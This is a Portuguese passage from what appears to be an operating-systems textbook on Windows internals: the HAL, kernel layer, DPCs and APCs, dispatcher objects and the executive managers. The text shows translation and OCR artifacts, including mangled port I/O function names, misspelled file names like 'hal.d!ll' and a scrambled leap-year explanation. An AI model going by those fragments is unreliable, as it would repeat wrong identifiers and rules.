A maior parte do código-fonte do kernel NTOS é escrita em C em vez de Assem 


linguagem compatível (apenas 2% é assembly em x86 e menos de 1% em x64). No entanto, todo esse código 

C não pode simplesmente ser extraído de um sistema x86, instalado, digamos, em um sistema ARM, recompilado 
e reinicializado devido às muitas diferenças de hardware entre arquiteturas de processador que nada têm a ver 
com os diferentes conjuntos de instruções. e que não pode ser ocultado pelo compilador. Linguagens como C 
dificultam a abstração de algumas estruturas e parâmetros de dados de hardware, como o formato das entradas 
da tabela de páginas e os tamanhos das páginas da memória física e o comprimento das palavras, sem 
penalidades severas de desempenho. Tudo isso, bem como uma série de otimizações específicas de hardware, 


teriam que ser portados manualmente, mesmo que não sejam escritos em código assembly. 


Detalhes de hardware sobre como a memória é organizada em servidores grandes, ou quais primitivas de 
sincronização de hardware estão disponíveis, também podem ter um grande impacto em níveis superiores do 
sistema. Por exemplo, o gerenciador de memória virtual do NT e a camada do kernel estão cientes dos detalhes 
de hardware relacionados ao cache e à localidade da memória. 

Em todo o sistema, o NT usa primitivas de sincronização comparar e trocar , e seria difícil portar para um 
sistema que não as possui. Finalmente, existem muitas dependências no sistema na ordem dos bytes nas 
palavras. Em todos os sistemas para os quais o NT já foi portado, o hardware foi configurado para o modo little- 


endian. 
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Além desses problemas maiores de portabilidade, também existem problemas menores, mesmo 
entre placas-mãe diferentes de fabricantes diferentes. Diferenças na CPU 
versões afetam como as primitivas de sincronização, como spin-locks, são implementadas. 
Existem diversas famílias de chips de suporte que criam diferenças na forma como o hardware 
interrupções são priorizadas, como os registros dos dispositivos de E/S são acessados, gerenciamento de 
Transferências DMA, controle dos temporizadores e relógio em tempo real, sincronização de 
multiprocessadores, trabalho com recursos de firmware como ACPI (Advanced Configuration 
e interface de energia) e assim por diante. A Microsoft fez uma tentativa séria de esconder esses 
tipos de dependências de máquina em uma camada fina na parte inferior chamada HAL, como 
mencionado anteriormente. A função do HAL é apresentar ao restante do sistema operacional um 
hardware abstrato que oculta os detalhes específicos da versão do processador, chipset de suporte e 
outras variações de configuração. Essas abstrações HAL são apresentadas na forma de serviços 
independentes de máquina (chamadas de procedimento e macros). 
que o NTOS e os drivers podem usar. 

Ao usar os serviços HAL e não abordar o hardware diretamente, os drivers 
e o kernel exigem menos alterações ao serem portados para novos processadores - e em 
a maioria dos casos pode ser executada sem modificações em sistemas com a mesma arquitetura de processador, 
apesar das diferenças nas versões e chips de suporte. 

O HAL não fornece abstrações ou serviços para dispositivos de E/S específicos 
como teclados, mouses e discos ou para a unidade de gerenciamento de memória. Esses 
as instalações estão espalhadas pelos componentes do modo kernel e sem o HAL 
a quantidade de código que teria que ser modificado durante a portabilidade seria substancial, mesmo 
quando as diferenças reais de hardware fossem pequenas. Portando o HAL 
em si é simples porque todo o código dependente da máquina está concentrado em 
um só lugar e os objetivos do porto estão bem definidos: implementar todos os serviços HAL. Para 
muitas versões, a Microsoft apoiou um Kit de Desenvolvimento HAL permitindo 
fabricantes de sistemas construíssem seu próprio HAL, o que permitiria que outros kernels 
componentes para funcionar em novos sistemas sem modificação, desde que as mudanças de hardware 
não fossem muito grandes. Esta prática já não está ativa e como tal, 
há poucos motivos para manter a camada HAL em um binário separado, hal.d!ll. Com 
Windows 11, a camada HAL foi mesclada em ntoskrnl.exe. Hal.dll agora é um 
binário encaminhador mantido para manter a compatibilidade com drivers que usam seu 
todas as interfaces são redirecionadas para a camada HAL em ntoskrnl.exe. 

Como exemplo do que a camada de abstração de hardware faz, considere a questão 
de E/S mapeada em memória versus portas de E/S. Algumas máquinas têm um e outras têm o 
outro. Como um driver deve ser programado: para usar E/S mapeada em memória ou não? 
Em vez de forçar uma escolha, o que tornaria o driver não portável para um 
máquina que fez isso de outra maneira, a camada de abstração de hardware oferece procedimentos 
para os gravadores de driver usarem para ler os registros do dispositivo, outros para gravá-los: 


uc = LER PORTA UCHAR (porta t); us = ESCREVER PORTA UCHAR (porta t, uc); 
LEIA PORTA USHORT(porta t); ul = LEIA WRITE PORT USHORT (porto, nós); 
PORTA ULONG(porta t); ESCREVER PORTA LONG(porta t, ul); 
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Esses procedimentos leem e gravam inteiros não assinados de 8, 16 e 32 bits, respectivamente, na 
porta especificada. Cabe à camada de abstração de hardware decidir se a E/S mapeada em memória 
é necessária aqui. Desta forma, um driver pode ser movido sem modificação entre máquinas que 
diferem na forma como os registros do dispositivo são implementados. 


Os drivers frequentemente precisam acessar dispositivos de E/S específicos para diversos fins. 
No nível de hardware, um dispositivo possui um ou mais endereços em um determinado barramento. 
Como os computadores modernos geralmente possuem vários barramentos (PCle, USB, IEEE 1394, 
etc.), pode acontecer que mais de um dispositivo tenha o mesmo endereço em barramentos 
diferentes, portanto, é necessária alguma forma de distingui-los. O HAL fornece um serviço para 
identificar dispositivos mapeando endereços de dispositivos relativos ao barramento em endereços 
lógicos de todo o sistema. Dessa forma, os motoristas não precisam saber qual dispositivo está 
conectado a qual barramento. Este mecanismo também protege as camadas superiores das 
propriedades de estruturas de barramento alternativas e convenções de endereçamento. 

As interrupções têm um tipo de problema semelhante — elas também dependem do barramento. 
Aqui, também, o HAL fornece serviços para nomear interrupções em todo o sistema e também 
fornece maneiras de permitir que os drivers anexem rotinas de serviço de interrupção às interrupções 
de maneira portátil, sem precisar saber nada sobre qual vetor de interrupção é para qual barramento. 
O gerenciamento do nível de solicitação de interrupção também é tratado no HAL. 

Outro serviço HAL é configurar e gerenciar transferências DMA de forma independente do 
dispositivo. Tanto o mecanismo DMA de todo o sistema quanto os mecanismos DMA em placas de 
E/S específicas podem ser manipulados. Os dispositivos são referidos pelos seus endereços lógicos. 
O HAL implementa dispersão/reunião de software (escrita ou leitura de blocos não contíguos de 
memória física). 

O HAL também gerencia relógios e temporizadores de forma portátil. O tempo é registrado em 
unidades de 100 nanossegundos a partir da meia-noite do início de 1º de janeiro de 1601, que é a 
primeira data do quadrisséculo anterior, o que simplifica os cálculos dos anos bissextos. (Teste 
rápido: 1800 foi um ano bissexto? Resposta rápida: Não. QQ2: 2000 foi um ano bissexto? QA2: Sim. 
Até 3999, os anos do século não são anos bissextos, exceto 400 anos). De acordo com as regras 
atuais, 4.000 deveria ser um ano bissexto, mas no modelo atual não está certo e tornar 4.000 um 
ano não bissexto ajudaria. Nem todos concordam, no entanto. Os serviços de tempo desacoplam os 
drivers das frequências reais nas quais os relógios funcionam. 


Os componentes do kernel às vezes precisam ser sincronizados em um nível muito baixo, 
especialmente para evitar condições de corrida em sistemas multiprocessadores. O HAL fornece 
primitivas para gerenciar essa sincronização, como spin locks, nos quais uma CPU simplesmente 
espera que um recurso mantido por outra CPU seja liberado, especialmente em situações em que o 
recurso normalmente é mantido apenas por algumas instruções de máquina. 

Finalmente, após a inicialização do sistema, o HAL se comunica com o firmware do computador 
(BIOS ou UEFI) e inspeciona a configuração do sistema para descobrir quais barramentos e 
dispositivos de E/S o sistema contém e como eles foram configurados. 

Essas informações são então colocadas no registro. Um breve resumo de algumas das coisas que o 
HAL faz é apresentado na Figura 11.12. 
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Dispositivo Dispositivo Rodar 


registros endereços Interrupções DMA Temporizadores fechaduras Firmware 


Impressora 


Camada de abstração de hardware 


Figura 11-12. Algumas das funções de hardware gerenciadas pelo HAL. 


A camada do kernel 


Acima da camada de abstração de hardware está o NTOS, que consiste em duas camadas: a 
kernel e o executivo. "Kernel" é um termo confuso no Windows. Pode referir-se a 
todo o código executado no modo kernel do processador. Também pode referir-se ao 
Arquivo ntoskrnl.exe que contém NTOS, o núcleo do sistema operacional Windows. 
Ou pode referir-se à camada do kernel dentro do NTOS, que é como a usaremos nesta seção. É até usado 
para nomear a biblioteca Win32 de modo de usuário que fornece o wrapper para as chamadas do sistema 
nativo: kernelbase.dll. 

No sistema operacional Windows, a camada kernel, ilustrada acima da camada executiva na Figura 
11.11, fornece um conjunto de abstrações para gerenciar a CPU. O 
a maior parte da abstração central são threads, mas o kernel também implementa tratamento de exceções, 
traps e vários tipos de interrupções. A criação e destruição das estruturas de dados que suportam o threading 
são implementadas na camada executiva. O núcleo 
camada é responsável pelo agendamento e sincronização de threads. Tendo suporte 
para threads em uma camada separada permite que a camada executiva seja implementada usando 
o mesmo modelo multithreading preemptivo usado para escrever código simultâneo no usuário 


modo, embora as primitivas de sincronização no executivo sejam muito mais especializadas. 


O escalonador de threads do kernel é responsável por determinar qual thread é 
executando em cada CPU do sistema. Cada thread é executado até que um temporizador seja interrompido 
sinaliza que é hora de mudar para outro thread (quantum expirou) ou até que o 
thread precisa esperar que algo aconteça, como a conclusão de uma E/S ou que um 
lock seja liberado ou um thread de maior prioridade se tornará executável e precisará do 
CPU. Ao mudar de um thread para outro, o escalonador é executado na CPU 
e garante que os registros e outros estados de hardware foram salvos. O sched uler então seleciona outro 
thread para ser executado na CPU e restaura o estado que estava 


salvo anteriormente desde a última vez que o thread foi executado. 
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Se o próximo thread a ser executado estiver em um espaço de endereço (ou seja, processo) diferente do 
do thread que está sendo alternado, o agendador também deve alterar os espaços de endereço. 
Os detalhes do algoritmo de escalonamento em si serão discutidos posteriormente neste capítulo. 
quando chegamos a processos e threads. 
Além de fornecer uma abstração de nível mais alto do hardware e lidar com switches de thread, a camada 
do kernel também tem outra função importante: fornecer 
suporte de baixo nível para duas classes de mecanismos de sincronização: objetos de controle 
e objetos despachantes. Objetos de controle são as estruturas de dados que o kernel 
camada fornece como abstrações para a camada executiva para gerenciar a CPU. Eles 
são alocados pelo executivo, mas são manipulados com rotinas fornecidas pelo 
a camada do kernel. Objetos Dispatcher são a classe de objetos executivos comuns 


que usam uma estrutura de dados comum para sincronização. 


Chamadas de procedimento adiadas 


Os objetos de controle incluem objetos primitivos para threads, interrupções, temporizadores, sincronização, 
criação de perfil e dois objetos especiais para implementação de DPCs (Deferred 
Chamadas de procedimento) e APCs (veja abaixo). Objetos DPC são usados para reduzir o tempo 
tomadas para executar ISRs (Rotinas de Serviço de Interrupção) em resposta a uma interrupção 
de um dispositivo específico. Limitar o tempo gasto em ISRs reduz a chance de perder 
uma interrupção. 

O hardware do sistema atribui um nível de prioridade de hardware às interrupções. A CPU 
também associa um nível de prioridade ao trabalho que está executando. A CPU responde 
apenas para interrupções em um nível de prioridade mais alto do que o que está usando atualmente. O nível de 
prioridade normal, incluindo o nível de prioridade de todo o trabalho no modo de usuário, é 0. Interrupções do dispositivo 
ocorrem na prioridade 3 ou superior, e o ISR para uma interrupção de dispositivo normalmente é executado 
no mesmo nível de prioridade da interrupção, a fim de evitar que outras interrupções menos importantes ocorram 
enquanto ele processa uma interrupção mais importante. 

Se um ISR for executado por muito tempo, o atendimento de interrupções de prioridade mais baixa será 
atrasado, talvez causando a perda de dados ou diminuindo a taxa de transferência de E/S do sistema. Vários 
ISRs podem estar em andamento ao mesmo tempo, com cada ISR sucessivo 
sendo devido a interrupções em níveis de prioridade cada vez mais altos. 

Para reduzir o tempo gasto no processamento de ISRs, apenas as operações críticas são executadas, 
como capturar o resultado de uma operação de E/S e reinicializar o dispositivo. O processamento adicional da 
interrupção é adiado até que o nível de prioridade da CPU seja 
reduzido e não bloqueando mais o atendimento de outras interrupções. O objeto DPC 
é usado para representar o trabalho adicional a ser feito e o ISR chama a camada do kernel 
para enfileirar o DPC na lista de DPCs de um processador específico. Se o DPC for o 
primeiro da lista, o kernel registra uma solicitação especial ao hardware para interromper 
a CPU na prioridade 2 (que o NT chama de nível DISPATCH). Quando o último de qualquer 
a execução dos ISRs for concluída, o nível de interrupção do processador cairá abaixo 
2, e isso desbloqueará a interrupção para processamento DPC. O ISR para o DPC 
interrupção processará cada um dos objetos DPC que o kernel enfileirou. 
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A técnica de usar interrupções de software para adiar o processamento de interrupções é um método bem 
estabelecido para reduzir a latência de ISR. UNIX e outros sistemas começaram a usar processamento diferido 
na década de 1970 para lidar com a lentidão do hardware e o buffer limitado de conexões seriais aos terminais. 
O ISR trataria de buscar caracteres do hardware e enfileira-los. Depois que todo o processamento de interrupção 
de nível superior fosse concluído, uma interrupção de software executaria um ISR de baixa prioridade para 
processar caracteres, como implementar backspace enviando caracteres de controle ao terminal para apagar o 


último caractere exibido e mover o cursor para trás. 


Um exemplo semelhante no Windows hoje é o dispositivo de teclado. Depois que uma tecla é pressionada, 
o ISR do teclado lê o código da chave de um registro e então reativa a interrupção do teclado, mas não faz 
processamento adicional da tecla imediatamente. 

Em vez disso, ele usa um DPC para enfileirar o processamento do código-chave até que todas as interrupções 
pendentes do dispositivo tenham sido processadas. 

Como os DPCs são executados no nível 2, eles não impedem a execução dos ISRs do dispositivo, mas 
evitam que qualquer thread seja executado nesse processador até que todos os DPCs enfileirados sejam 
concluídos e o nível de prioridade da CPU seja reduzido para menos de 2. Os drivers de dispositivo e o próprio 
sistema devem tome cuidado para não executar ISRs ou DPCs por muito tempo. 

Como os threads não têm permissão para execução, ISRs e DPCs podem fazer o sistema parecer lento e 
produzir falhas ao reproduzir música, paralisando os threads que gravam o buffer de música no dispositivo de 
som. Outro uso comum dos DPCs é a execução de rotinas em resposta a uma interrupção do temporizador. 
Para evitar o bloqueio de threads, os eventos de timer que precisam ser executados por um período prolongado 
devem enfileirar as solicitações no conjunto de threads de trabalho que o kernel mantém para atividades em 
segundo plano. 

O problema de falta de thread devido a DPCs excessivamente longos ou frequentes (chamados DPC 
Storms) é comum o suficiente para que o Windows implemente um mecanismo de defesa chamado DPC 
Watchdog. O DPC Watchdog tem limites de tempo para DPCs individuais e para DPCs consecutivos. Quando 
esses limites são excedidos, o watchdog emite uma falha no sistema com o código DPC WATCHDOG 
VIOLATION e informações sobre o DPC longo (normalmente um driver com bugs), juntamente com um despejo 
de memória que pode ajudar a diagnosticar o problema. 


Embora as tempestades de DPC sejam indesejáveis, as falhas do sistema também o são. Em ambientes 
como a Nuvem Azure, onde as tempestades de DPC devido a pacotes de rede recebidos são relativamente 
comuns e as falhas do sistema são catastróficas, os tempos limite do watchdog do DPC são normalmente 
configurados mais altos para evitar falhas. Para melhorar a capacidade de diagnóstico em tais situações, o 
watchdog DPC no Windows 11 oferece suporte a limites flexíveis e de criação de perfil . Quando o limite suave 
é ultrapassado, em vez de travar o sistema, o watchdog registra informações que podem ser posteriormente 
analisadas para determinar a origem dos DPCs. Quando o limite de criação de perfil é ultrapassado, o watchdog 
inicia um temporizador de criação de perfil e registra um rastreamento de pilha de execução de DPC a cada 
milissegundo, de modo que uma análise muito mais detalhada possa ser realizada para compreender a causa 
raiz de DPCs longos ou frequentes. 


Além do watchdog DPC aprimorado, o agendador de threads do Windows 11 também é mais inteligente 
na redução da falta de threads diante dos DPCs. Para cada 
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DPC recente, ele mantém um breve histórico do tempo de execução do DPC que é usado para identificar 
DPCs de longa duração . Quando esses DPCs de longa execução são enfileirados em um processador, 
o thread em execução no momento (que está prestes a ser privado) é reprogramado para outro 
processador disponível se o thread tiver prioridade alta o suficiente. Dessa forma, threads de tempo 


crítico, como aqueles que alimentam dispositivos de mídia, têm muito menos probabilidade de morrer de 
fome devido a DPCs. 


Chamadas de procedimento assíncronas 


O outro objeto especial de controle do kernel é o objeto APC (Asynchronous Procedure Call) . Os 
APCs são como os DPCs no sentido de que adiam o processamento de uma rotina do sistema, mas 
diferentemente dos DPCs, que operam no contexto de CPUs específicas, os APCs são executados no 
contexto de um thread específico. Ao processar um pressionamento de tecla, não importa em qual 
contexto o DPC é executado, porque um DPC é simplesmente outra parte do processamento de 
interrupção, e as interrupções só precisam gerenciar o dispositivo físico e executar operações 
independentes de thread, como gravar os dados em um buffer no espaço do kernel. 


A rotina DPC é executada no contexto de qualquer thread que estava sendo executado quando a 
interrupção original ocorreu. Ele chama o sistema de E/S para relatar que a operação de E/S foi concluída, 
e o sistema de E/S coloca um APC na fila para ser executado no contexto do thread que fez a solicitação 
de E/S original, onde pode acessar o espaço de endereço do modo de usuário do thread que processará 
a entrada. 

No próximo momento conveniente, a camada do kernel entrega o APC ao thread e agenda a 
execução do thread. Uma APC foi projetada para parecer uma chamada de procedimento inesperada, 
algo semelhante aos manipuladores de sinal no UNIX. O APC em modo kernel para concluir a E/S é 
executado no contexto do thread que iniciou a E/S, mas no modo kernel. Isso dá ao APC acesso ao 
buffer do modo kernel, bem como a todo o espaço de endereço do modo de usuário pertencente ao 
processo que contém o thread. 

Quando um APC é entregue depende do que o thread já está fazendo e até mesmo do tipo de sistema. 
Em um sistema multiprocessador, o thread que recebe o APC pode começar a ser executado antes 
mesmo de o DPC terminar a execução. 

APCs de modo de usuário também podem ser usadas para entregar notificação de conclusão de E/ 
S em modo de usuário para o thread que iniciou a E/S. APCs de modo de usuário invocam um 
procedimento de modo de usuário designado pelo aplicativo, mas somente quando o thread de destino 
foi bloqueado no kernel e está marcado como disposto a aceitar APCs, um estado conhecido como 
espera de alerta . O kernel interrompe a espera do thread e retorna ao modo de usuário, mas com a pilha 
e os registros do modo de usuário modificados para executar a rotina de despacho APC na biblioteca do 
sistema ntdll.dil . A rotina de despacho APC invoca a rotina de modo de usuário que o aplicativo associou 
à operação de E/S. Além de especificar APCs de modo de usuário como um meio de executar código 
quando as E/Ss forem concluídas, a API Win32 QueueUserAPC permite que APCs sejam usadas para 
fins arbitrários. 


APCs de modo de usuário especial são uma variação do APC que foi introduzido em versões 
posteriores do Windows 10. Eles são diferentes dos APCs de modo de usuário "normais" porque 
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eles são completamente assíncronos: podem ser executados mesmo quando o thread de destino não está em um estado de 
espera alertável. Como tal, APCs de usuários especiais são equivalentes a sinais UNIX, disponíveis para desenvolvedores por 
meio da API QueueUserAPC2 . Antes do advento das APCs de usuários especiais, os desenvolvedores que precisavam executar 
código em threads arbitrárias (por exemplo, para coleta de lixo em um tempo de execução gerenciado) tinham que recorrer ao 


uso de mecanismos mais complicados, como alterar manualmente o contexto da thread de destino usando SetThreadContext . 


A camada executiva também usa APCs para outras operações além da conclusão de E/S. 
Como o mecanismo APC é cuidadosamente projetado para entregar APCs somente quando for seguro 
fazê-lo, ele pode ser usado para encerrar threads com segurança. Se não for um bom momento para 
encerrar o thread, o thread terá declarado que estava entrando em uma região crítica e adiará as 
entregas de APCs até sair. Os threads do kernel marcam-se como entrando em regiões críticas para 
adiar APCs ao adquirir bloqueios ou outros recursos, de modo que não possam ser encerrados 
enquanto ainda mantêm o recurso ou impasse devido à reentrada. A APC de terminação de thread é 
muito semelhante a uma APC de modo de usuário especial, exceto que é "extra especial" porque é 
executada antes de qualquer APC de usuário especial para encerrar a thread imediatamente. 


Objetos despachantes 


Outro tipo de objeto de sincronização é o objeto despachante. Este é qualquer objeto comum 
no modo kernel (do tipo ao qual os usuários podem se referir com identificadores) que contém uma 
estrutura de dados chamada cabeçalho do despachante, mostrada na Figura 11.13. Esses objetos 
incluem semáforos, mutexes, eventos, temporizadores de espera e outros objetos que os threads 
podem esperar para sincronizar a execução com outros threads. Eles também incluem objetos que 
representam arquivos abertos, processos, threads e portas IPC. A estrutura de dados do despachante 
contém um sinalizador que representa o estado sinalizado do objeto e uma fila de threads aguardando 
a sinalização do objeto. 


Cabeçalho do objeto 
Sinalizador de notificação/sincronização 
Objeto 
executivo Estado sinalizado DISPATCHER HEADER 


Cabeçalho da lista para threads em espera 


Dados específicos do objeto 


Figura 11-13. Estrutura de dados do cabeçalho do Dispatcher incorporada em muitos objetos 
executivos (objetos Dispatcher). 


As primitivas de sincronização, como os semáforos, são objetos despachantes naturais. 
Além disso, temporizadores, arquivos, portas, threads e processos usam os mecanismos do objeto 
despachante para fazer notificações. Quando um cronômetro dispara, a E/S é concluída em um arquivo, 
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dados estão disponíveis em uma porta, ou um thread ou processo termina, o objeto dis patcher associado é 
sinalizado, despertando todos os threads que aguardam por esse evento. 

Como o Windows usa um único mecanismo unificado para sincronização com objetos no modo kernel, 
APIs especializadas, como wait3, para aguardar processos filhos 
no UNIX, não é necessário esperar por eventos. Frequentemente, os threads desejam esperar por vários 
eventos de uma só vez. No UNIX, um processo pode esperar que os dados estejam disponíveis em qualquer um dos 64 
soquetes de rede usando a chamada de sistema select . No Windows, existe uma API semelhante 
WaitForMultipleObjects, mas permite que um thread aguarde qualquer tipo de objeto dis patcher para o qual 
ele tenha um identificador. Até 64 identificadores podem ser especificados para Wait ForMultipleObjects, bem 
como um valor de tempo limite opcional. O fio fica 
pronto para ser executado sempre que qualquer um dos eventos associados aos identificadores for sinalizado ou 
o tempo limite ocorre. 

Na verdade, existem dois procedimentos diferentes que o kernel usa para fazer o 
threads aguardando um objeto despachante executável. Sinalizando um objeto de notificação 
tornará todos os threads em espera executáveis. Os objetos de sincronização fazem apenas o 
primeiro thread em espera executável e são usados para objetos despachantes que implementam 
bloqueando primitivos, como mutexes. Quando um thread que está aguardando um bloqueio começa 
executando novamente, a primeira coisa que faz é tentar adquirir novamente o bloqueio. Se apenas um 
thread pode manter o bloqueio por vez, todos os outros threads tornados executáveis podem 
bloquear imediatamente, incorrendo em muitas mudanças de contexto desnecessárias. A diferença 
entre objetos despachantes usando sincronização versus notificação é um sinalizador no 
estrutura do cabeçalho do despachante . 

Deixando um pouco de lado, os mutexes no Windows são chamados de "mutantes" no código porque 
eram necessários para implementar a semântica do OS/2 de não automaticamente 
desbloqueando-se quando um fio que segurava um deles saía, algo que Cutler considerou bizarro. 


A Camada Executiva 


Como mostrado na Figura 11.11, abaixo da camada do kernel do NTOS está o executivo. 
A camada executiva é escrita em C, é em sua maioria independente de arquitetura (sendo o gerenciador de 
memória uma exceção notável) e foi portada com apenas modestos recursos. 
esforço para novos processadores (MIPS, x86, PowerPC, Alpha, IA64, x64, arm32 e 
braço64). O executivo contém vários componentes diferentes, todos executados 
usando as abstrações de controle fornecidas pela camada do kernel. 

Cada componente é dividido em estruturas de dados e interfaces internas e externas. Os aspectos internos 
de cada componente ficam ocultos e são usados apenas dentro do 
componente em si, enquanto os aspectos externos estão disponíveis para todos os outros componentes do 
executivo. Um subconjunto das interfaces externas é exportado de 
o executável ntoskrnl.exe e os drivers de dispositivo podem ser vinculados a eles como se o executivo 
eram uma biblioteca. A Microsoft chama muitos dos componentes executivos de “gerentes”, 
porque cada um é responsável por gerenciar algum aspecto dos serviços operacionais, como 
E/S, memória, processos e objetos. 
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Tal como acontece com a maioria dos sistemas operacionais, grande parte da funcionalidade do 
executivo do Windows é como código de biblioteca, exceto que ele é executado no modo kernel para 
que suas estruturas de dados possam ser compartilhadas e protegidas do acesso pelo código do modo 
de usuário, e assim ele pode acessar o kernel. estado de modo, como os registradores de controle MMU. 
Mas, caso contrário, o executivo está simplesmente executando funções do sistema operacional em 
nome de seu chamador e, portanto, executa no thread de seu chamador. É o mesmo que nos sistemas UNIX. 

Quando qualquer uma das funções executivas bloqueia a espera para sincronizar com outros 
threads, o thread do modo de usuário também é bloqueado. Isso faz sentido ao trabalhar em nome de 
um thread de modo de usuário específico, mas pode ser injusto ao realizar trabalhos relacionados a 
tarefas domésticas comuns. Para evitar o sequestro do thread atual quando o executivo determina que 
alguma manutenção é necessária, vários threads no modo kernel são criados quando o sistema é 
inicializado e dedicados a tarefas específicas, como garantir que as páginas modificadas sejam gravadas 
no disco. 

Para tarefas previsíveis e de baixa frequência, existe um thread que é executado uma vez por 
segundo e tem uma longa lista de itens para lidar. Para um trabalho menos previsível, existe o conjunto 
de threads de trabalho de alta prioridade mencionado anteriormente, que pode ser usado para executar 
tarefas limitadas, enfileirando uma solicitação e sinalizando o evento de sincronização que os threads de 
trabalho estão aguardando. 

O gerenciador de objetos gerencia a maioria dos objetos interessantes do modo kernel usados na 
camada executiva. Isso inclui processos, threads, arquivos, semáforos, dispositivos e drivers de E/S, 
temporizadores e muitos outros. Conforme descrito anteriormente, os objetos do modo kernel são, na 
verdade, apenas estruturas de dados alocadas e usadas pelo kernel. No Windows, as estruturas de 
dados do kernel têm pontos em comum o suficiente para que seja muito útil gerenciar muitas delas em 
um recurso unificado. 

Os recursos fornecidos pelo gerenciador de objetos incluem o gerenciamento da alocação e 
liberação de memória para objetos, contabilidade de cotas, suporte ao acesso a objetos usando 
identificadores, manutenção de contagens de referência para referências de ponteiro no modo kernel, 
bem como referências de identificador, fornecendo nomes de objetos no namespace NT e fornecendo 
um mecanismo extensível para gerenciar o ciclo de vida de cada objeto. As estruturas de dados do kernel 
que necessitam de alguns desses recursos são gerenciadas pelo gerenciador de objetos. 


Cada objeto do gerenciador de objetos tem um tipo que é usado para especificar exatamente como 
o ciclo de vida dos objetos desse tipo deve ser gerenciado. Estes não são tipos no sentido orientado a 
objetos, mas simplesmente uma coleção de parâmetros especificados quando o tipo de objeto é criado. 
Para criar um novo tipo, um componente executivo chama uma API do gerenciador de objetos para criar 
um novo tipo. Os objetos são tão importantes para o funcionamento do Windows que o gerenciador de 
objetos será discutido com mais detalhes na próxima seção. 


O gerenciador de E/S fornece a estrutura para implementação de drivers de dispositivos de E/S e 
fornece vários serviços executivos específicos para configurar, acessar e executar operações em 
dispositivos. No Windows, os drivers de dispositivo não apenas gerenciam dispositivos físicos, mas 
também fornecem extensibilidade ao sistema operacional. Muitas funções que são compiladas no kernel 
de outros sistemas são dinamicamente 
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carregado e vinculado pelo kernel no Windows, incluindo pilhas de protocolos de rede e sistemas de 
arquivos. 

As versões recentes do Windows têm muito mais suporte para a execução de drivers de 
dispositivos no modo de usuário, e este é o modelo preferido para novos drivers de dispositivos. 
Existem centenas de milhares de drivers de dispositivos diferentes para Windows que funcionam com 
mais de um milhão de dispositivos distintos. Isso representa muito código para ser correto. É muito 
melhor se os bugs fizerem com que um dispositivo fique inacessível ao travar em um processo de 
modo de usuário, em vez de causar a falha do sistema. Bugs nos drivers de dispositivo do modo kernel 
são a principal fonte do temido BSOD (tela azul da morte), onde o Windows detecta um erro fatal no 
modo kernel e desliga ou reinicia o sistema. Os BSODs são comparáveis aos kernel panics em sistemas 
UNIX. 

Como os drivers de dispositivo representam algo próximo a 70% do código no kernel, quanto mais 
drivers puderem ser movidos para processos de modo de usuário, onde um bug apenas desencadeará 
a falha de um único driver (em vez de derrubar o todo o sistema), melhor. A tendência de mover código 
do kernel para processos de modo de usuário para melhorar a confiabilidade do sistema tem se 
acelerado nos últimos anos. 

O gerenciador de E/S também inclui recursos plug-and-play e gerenciamento de energia do 
dispositivo. O plug-and-play entra em ação quando novos dispositivos são detectados no sistema. O 
subcomponente plug-and-play é notificado primeiro. Ele funciona com um serviço, o gerenciador plug- 
and-play do modo de usuário, para encontrar o driver de dispositivo apropriado e carregá-lo no sistema. 
Conseguir o caminho certo nem sempre é fácil e às vezes depende de uma correspondência sofisticada 
da versão específica do dispositivo de hardware com uma versão específica dos drivers. Às vezes, um 
único dispositivo suporta uma interface padrão que é suportada por vários drivers diferentes, escritos 
por empresas diferentes. 


Estudaremos mais detalhadamente a E/S na Seção. 11.7 e o sistema de arquivos NT mais 
importante, NTFS, na Seç. 11.8. 

O gerenciamento de energia do dispositivo reduz o consumo de energia quando possível, 
prolongando a vida útil da bateria em notebooks e economizando energia em desktops e servidores. 
Obter o gerenciamento de energia correto pode ser um desafio, pois há muitas dependências sutis 
entre os dispositivos e os barramentos que os conectam à CPU e à memória. O consumo de energia 
não é afetado apenas pelos dispositivos que estão ligados, mas também pela frequência do clock da 
CPU, que também é controlada pelo gerenciador de energia do dispositivo. Daremos uma olhada mais 
aprofundada no gerenciamento de energia na Seç. 11.9. 

O gerenciador de processos gerencia a criação e encerramento de processos e threads, incluindo 
o estabelecimento de políticas e parâmetros que os governam. Mas os aspectos operacionais dos 
threads são determinados pela camada kernel, que controla o escalonamento e a sincronização dos 
threads, bem como sua interação com os objetos de controle, como APCs. Os processos contêm 
threads, um espaço de endereço e uma tabela de identificadores contendo os identificadores que o 
processo pode usar para se referir a objetos no modo kernel. Os processos também incluem informações 
necessárias ao escalonador para alternar entre espaços de endereço e gerenciar informações de 
hardware específicas do processo (como descritores de segmento). Estudaremos gerenciamento de 
processos e threads na Seç. 11.4. 
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O gerenciador de memória executivo implementa a arquitetura de memória virtual paginada 
por demanda. Ele gerencia o mapeamento de páginas virtuais em quadros de páginas físicas, o 
gerenciamento dos quadros físicos disponíveis e o gerenciamento do arquivo de paginação em disco 
usado para fazer backup de instâncias privadas de páginas virtuais que não estão mais carregadas 
na memória. O gerenciador de memória também fornece recursos especiais para grandes aplicativos 
de servidor, como bancos de dados e componentes de tempo de execução de linguagem de 
programação, como coletores de lixo. Estudaremos o gerenciamento de memória posteriormente 
neste capítulo, na Seção. 11.5. 

O gerenciador de cache otimiza o desempenho de E/S para o sistema de arquivos mantendo 
um cache de páginas do sistema de arquivos no espaço de endereço virtual do kernel. O gerenciador 
de cache usa cache endereçado virtualmente, ou seja, organiza páginas em cache em termos de 
localização em seus arquivos. Isso difere do cache de bloco físico, como no UNIX, onde o sistema 
mantém um cache dos blocos endereçados fisicamente do volume de disco bruto. 


O gerenciamento de cache é implementado usando arquivos mapeados. O cache real é 
executado pelo gerenciador de memória. O gerenciador de cache precisa se preocupar apenas em 
decidir quais partes de quais arquivos armazenar em cache, garantir que os dados armazenados em 
cache sejam liberados para o disco em tempo hábil e gerenciar os endereços virtuais do kernel 
usados para mapear as páginas de arquivos em cache. Se uma página necessária para E/S de um 
arquivo não estiver disponível no cache, a página apresentará falha ao usar o gerenciador de memória. 
Estudaremos o gerenciador de cache na Seç. 11.6. 

O monitor de referência de segurança aplica os elaborados mecanismos de segurança do 
Windows, que suportam os padrões internacionais de segurança de computadores chamados 
Common Criteria, uma evolução dos requisitos de segurança do Orange Book do Departamento de 
Defesa dos Estados Unidos. Esses padrões especificam um grande número de regras que um sistema 
em conformidade deve atender, como login autenticado, auditoria, zeragem de memória alocada e 
muito mais. Uma regra exige que todas as verificações de acesso sejam implementadas por um único 
módulo dentro do sistema. No Windows, este módulo é o monitor de referência de segurança no 
kernel. Estudaremos o sistema de segurança com mais detalhes na Seç. 11.10. 


